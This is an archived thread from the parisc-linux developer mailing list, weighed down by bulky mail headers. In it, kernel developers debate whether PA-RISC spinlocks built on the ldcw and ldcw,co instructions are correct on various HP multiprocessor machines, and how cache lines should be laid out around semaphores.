To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 13:12:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 30 Apr 2006 15:12:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 048897D695;
	Sun, 30 Apr 2006 07:12:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16343-10; Sun, 30 Apr 2006 07:12:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E70CB7D692;
	Sun, 30 Apr 2006 07:12:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07DC57D689
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 07:12:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16343-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 07:12:26 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 1E5417D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 07:12:26 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3UDCdmR072283
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 06:12:39 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.79.64] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id jnI0FsO2
	authenticated by SMTP; Sun, 30 Apr 2006 06:12:38 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <20060430070302.GA32765@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lsMxNAZ1ZCEXvbGPamwhd2FwIGhpZUa2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23644

On Sun April 30 2006 02:03, you wrote:
> 
> Seems to state V2500 NUMA implementation is NOT supported by the general
> PA 2.0 architecture. Be very careful to not generalize statements made in
> the V-class specific documents.
> 

Grant, I wish it was that simple.

What you point out of about the V2500 seems
to be exact.

The V2200 has different memory hardware and
a different means for coherent semaphores.

My biggest mistake was to think that we can
go by the cpu version. There will have to be 
another way found.

HP-UX uses an external library for semaphores
to get it correct, at least sometimes.
The S... is getting deep.

What can be demonstrated at this moment is:

PA8500 - works (?)
PA8600 - broke
PA8700 - works
PA8800 - ???
PA8900 - broke (?)

The lack of documentation that would tell us
why does not mean we have given up though.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Sun, 30 Apr 2006 13:13:31 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20060430171331.GB1358@skunkworks.cabal.ca>
References: <200604292250.49455.mszick@morethan.org>
	<200604300436.k3U4ao30012106@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624076 19481 80.91.229.3 (22 Nov 2014 02:41:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 17:18:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 30 Apr 2006 19:18:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 226DF7D69C;
	Sun, 30 Apr 2006 11:18:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19648-04; Sun, 30 Apr 2006 11:18:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C76DE7D69D;
	Sun, 30 Apr 2006 11:18:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F23CA7D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 11:18:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19648-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 11:18:15 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 05EA27D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 11:18:15 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 49D485840A0;
	Sun, 30 Apr 2006 13:18:12 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 865E558409F;
	Sun, 30 Apr 2006 13:18:11 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 157AA23E83;
	Sun, 30 Apr 2006 13:18:11 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30537-09; Sun, 30 Apr 2006 13:18:10 -0400 (EDT)
Original-Received: from skunkworks.cabal.ca (skunkworks.cabal.ca [134.117.69.64])
	by fattire.cabal.ca (Postfix) with ESMTP id 9D3E523E82;
	Sun, 30 Apr 2006 13:18:10 -0400 (EDT)
Original-Received: by skunkworks.cabal.ca (Postfix, from userid 1000)
	id ECACA2FED8; Sun, 30 Apr 2006 13:13:31 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200604300436.k3U4ao30012106@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WsNtcVZZeWU7sreUfHVzcU05U3U4N08S
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23645

On Sun, Apr 30, 2006 at 12:36:50AM -0400, John David Anglin wrote:
> 
> I also found the following:
> http://h21007.www2.hp.com/dspp/files/unprotected/itanium/spinlocks.pdf
>

Our in-kernel spinlocks respect this, minus the pretest which probably
isn't necessary for anything but performance. See include/asm-parisc/spinlock.h
__raw_ macros for more details. I suspect mb() is probably a good equivalent
for the notation used as a compiler barrier in that document.

Note, the document also uses LDCW,CO so I suspect this is correct
in our implementation as well. Also note that in PA1.1 LDCW,CO is simply
a hint and will not relax the alignment requirement.

-- --

To address the previous point, I believe when I first discovered
the V-class SAR a year or two ago I tried to hardcode a few of the
ops in them to see if they would work on my C3000. I don't remember
whether the result was a LDW equivalent or an illegal operation trap,
but it didn't work as expected none the less. Until someone from HP
is able to confirm the existance of some of these hversion-dependant
atomic ops, I am going to pretend they don't exist.

However, if someone from HP wants to give details if any magic instructions
exist in any of the PA8x00 processors I have... I'd be more than happy to
try and make use of the information to optimize some of our atomic ops.

Cheers,
	Kyle 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Sun, 30 Apr 2006 17:25:13 -0400 (EDT)
Lines: 68
Approved: news@gmane.org
Message-ID: <200604302125.k3ULPDl5016370@hiauly1.hia.nrc.ca>
References: <20060430171331.GB1358@skunkworks.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624077 19484 80.91.229.3 (22 Nov 2014 02:41:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 21:35:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 30 Apr 2006 23:35:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 799AF7D6A2;
	Sun, 30 Apr 2006 15:35:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20684-07; Sun, 30 Apr 2006 15:35:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2649D7D6A4;
	Sun, 30 Apr 2006 15:35:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1973C7D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 15:35:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20684-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 15:35:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1AFD37D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 15:35:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3ULPEF3016371;
	Sun, 30 Apr 2006 17:25:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3ULPDl5016370;
	Sun, 30 Apr 2006 17:25:13 -0400 (EDT)
In-Reply-To: <20060430171331.GB1358@skunkworks.cabal.ca> from "Kyle McMartin"
	at Apr 30, 2006 01:13:31 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yEA3ECg0bXBtrLqHPTQ2ODYqLyUmZciq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23646

> Our in-kernel spinlocks respect this, minus the pretest which probably
> isn't necessary for anything but performance. See include/asm-parisc/spinlock.h
> __raw_ macros for more details. I suspect mb() is probably a good equivalent
> for the notation used as a compiler barrier in that document.

They also lack the optimization discussed in section 4.1 paragraph 4
(write zero byte to high order byte of lock word to try to make the
cacheline dirty for the executing cpu).  The mb() should work as a
compiler barrier.

I also suggest using an ordered store for the unlock operation.  This
doesn't cost anything and may help to ensure that the order of memory
accesses as seen by another processor occur in the expected sequence.

> Note, the document also uses LDCW,CO so I suspect this is correct
> in our implementation as well.

I've come to believe that using the ",CO' completer may be a bug.
I think it would be better to drop using the ",CO' completer and use
the trick of storing a zero byte to high-byte of the lock word to
make the cacheline dirty.

It all comes down to this crucial bit of code in the ldcw description:

  (indivisible)
  if (cache line is present and dirty || coherent_system || cc != 0) {
    GR[t] <-- zero_ext(mem_load(space,offset,0,31,NO_HINT),32);
    mem_store(space,offset,0,31,NO_HINT,0);
  } else {
    Dcache_flush(space, offset);
    GR[t] <-- zero_ext(mem_load(space,offset,0,31,NO_HINT),32);
    store_in_memory(space,offset,0,31,NO_HINT,0);
  }

and what happens when we have a MP system that supports cc and
coherent_system == 0.  Obviously, specifying ",CO" on a system
that's fully coherent doesn't make a difference.

This is what the ",CO" completer is supposed to do:

  "The Coherent Operation cache control hint is a recommendation
   to the processor that, if the addressed data is already in the
   cache, it can operate on the addressed data in the cache rather
   than having to update memory."

Note the line doesn't have to be dirty.  Unless extreme care is
used, the line could have been be brought into cache by a load for
data elsewhere on the line.  So for correct operation of 'ldcw,co',
there really must be no inter-processor timing problems in kicking
out cachelines.  Otherwise, we could end up with two dirty cachelines
and a broken spinlock.

It may be this is only reliable on fully coherent systems.  While
the N-class is classified as a UMA machine, it has two system buses
separated by a memory controller.  Each system bus can handle four
processors with L1 and L2 cache.  Thus, it would seem safer to adopt
the prewrite and use ldcw without the cache control completer.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Sun, 30 Apr 2006 19:30:03 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200604302330.k3UNU3C5017984@hiauly1.hia.nrc.ca>
References: <200604301801.23210.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624077 19487 80.91.229.3 (22 Nov 2014 02:41:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:17 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Apr 2006 23:30:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 01 May 2006 01:30:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C8A047D6C5;
	Sun, 30 Apr 2006 17:30:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22383-04; Sun, 30 Apr 2006 17:30:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 84D7C7D6C6;
	Sun, 30 Apr 2006 17:30:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 161CC7D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 17:30:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22383-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 17:30:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 274667D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 17:30:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3UNU4Ft017986;
	Sun, 30 Apr 2006 19:30:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3UNU3C5017984;
	Sun, 30 Apr 2006 19:30:03 -0400 (EDT)
In-Reply-To: <200604301801.23210.mszick@morethan.org> from "Michael S. Zick"
	at Apr 30, 2006 06:01:23 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yT00IAd1a0Aovr6aejEzMzQ3Njh6dI5Y
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23647

> Somewhere it is written: "No data should be stored on the same cache
> line as the lock unless all access is protected by that lock."

It's in the arch:

  When using semaphores to synchronize with I/O, care must be taken
  in placing other information in the same cache line as the semaphore.
  Data which is writable, can only be placed in the same cache line as
  a semaphore if access to write the data is controlled by the semaphore.

I think it's easy to misread these two sentences (i.e., to assume
that writeable data can occur on the same line as the semaphore
if the semaphore isn't being used to synchonize with I/O).

I'm almost certain we have more than one semaphore per line in current
kernels and I think that using ldcw,co is dangerous when that's done.
ldcw appears safer because it does a flush if needed.  Still, I worry
that this may not be sufficient because a sync is usually also necessary.
Flushes are weakly ordered.

If we dedicate 128 bytes per semaphore, then possibly ldcw,co will work.
It's also optimal from the contention standpoint.  This is pointed out
in the paper on semaphores.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Heavy Iron Reference Docs
Date: Sun, 30 Apr 2006 22:23:18 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <200604302223.18736.mszick@morethan.org>
References: <200604302330.k3UNU3C5017984@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624077 19490 80.91.229.3 (22 Nov 2014 02:41:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:17 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2006 03:23:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 01 May 2006 05:23:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9783C7D6F8;
	Sun, 30 Apr 2006 21:23:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23873-01; Sun, 30 Apr 2006 21:23:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C8337D6DA;
	Sun, 30 Apr 2006 21:23:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75C0C7D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 21:23:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23777-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 21:23:23 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 842367D6D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Apr 2006 21:23:23 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k413NRFK058570;
	Sun, 30 Apr 2006 20:23:28 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.79.64] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id YEF04JL2
	authenticated by SMTP; Sun, 30 Apr 2006 20:23:27 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604302330.k3UNU3C5017984@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
